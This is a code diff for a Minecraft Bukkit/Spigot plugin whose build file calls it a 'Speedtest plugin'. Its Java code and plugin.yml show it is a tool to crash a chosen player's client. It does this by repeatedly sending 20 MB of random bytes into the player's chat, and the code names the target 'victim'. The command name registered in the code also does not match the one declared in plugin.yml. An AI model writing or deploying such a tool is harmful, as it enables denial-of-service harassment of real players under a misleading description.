cor

.gitignore

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+/target/classes/plugin.yml
+/target/
+/stplayer.jar
+/stplayer.iml
+/.vscode/
+/.idea/
+/com/

pom.xml

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+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <groupId>com.itakinn</groupId>
+    <artifactId>stplayer</artifactId>
+    <version>1.0-SNAPSHOT</version>
+    <packaging>jar</packaging>
+    <name>stplayer</name>
+    <description>Speedtest plugin for Bukkit/Spigot</description>
+    <repositories>
+        <repository>
+            <id>spigot-repo</id>
+            <url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
+        </repository>
+    </repositories>
+    <dependencies>
+        <dependency>
+            <groupId>org.spigotmc</groupId>
+            <artifactId>spigot-api</artifactId>
+            <version>1.20.1-R0.1-SNAPSHOT</version>
+            <scope>provided</scope>
+        </dependency>
+    </dependencies>
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+                <version>3.8.1</version>
+                <configuration>
+                    <source>21</source>
+                    <target>21</target>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+</project>

src/main/java/com/itakinn/Main.java

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+package com.itakinn;
+
+import java.util.Random;
+import org.bukkit.Bukkit;
+import org.bukkit.command.Command;
+import org.bukkit.command.CommandSender;
+import org.bukkit.entity.Player;
+import org.bukkit.plugin.java.JavaPlugin;
+
+public class Main extends JavaPlugin {
+
+    public void onEnable() {
+        this.getCommand("speedtest").setExecutor(this);
+    }
+
+    public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
+        if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) {
+            Player victim = Bukkit.getPlayer(args[0]);
+            sender.sendMessage("Wait some seconds ;)");
+            Bukkit.getScheduler().runTaskAsynchronously(this, () -> {
+                for (int i = 0; i < 5; ++i) {
+                    if (victim == null || !victim.isOnline()) {
+                        sender.sendMessage("Player offline or not found.");
+                    }else {
+                        this.stressPlayer(victim);
+                    }
+
+                }
+            });
+            return true;
+        } else {
+            sender.sendMessage("No permission.");
+            return false;
+        }
+    }
+
+    private void stressPlayer(Player victim) {
+        try {
+            byte[] data = new byte[20971520]; // 20 MB
+            new Random().nextBytes(data);
+            this.sendLargeMessage(victim, data);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void sendLargeMessage(Player player, byte[] data) {
+        String dataString = new String(data);
+        while (player.isOnline() && !dataString.isEmpty()) {
+            player.sendMessage(player.getUniqueId(), dataString);
+        }
+    }
+}

src/main/resources/plugin.yml

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+name: stplayer
+main: com.itakinn.Main
+version: "1.0"
+api-version: 1.20
+commands:
+  stplayer:
+    description: Run a chat spam with large content to crash the player
+    usage: /stplayer <player>
+    permission: stplayer.use
+permissions:
+  stplayer.use:
+    description: Allows the player to use the stplayer command
+    default: op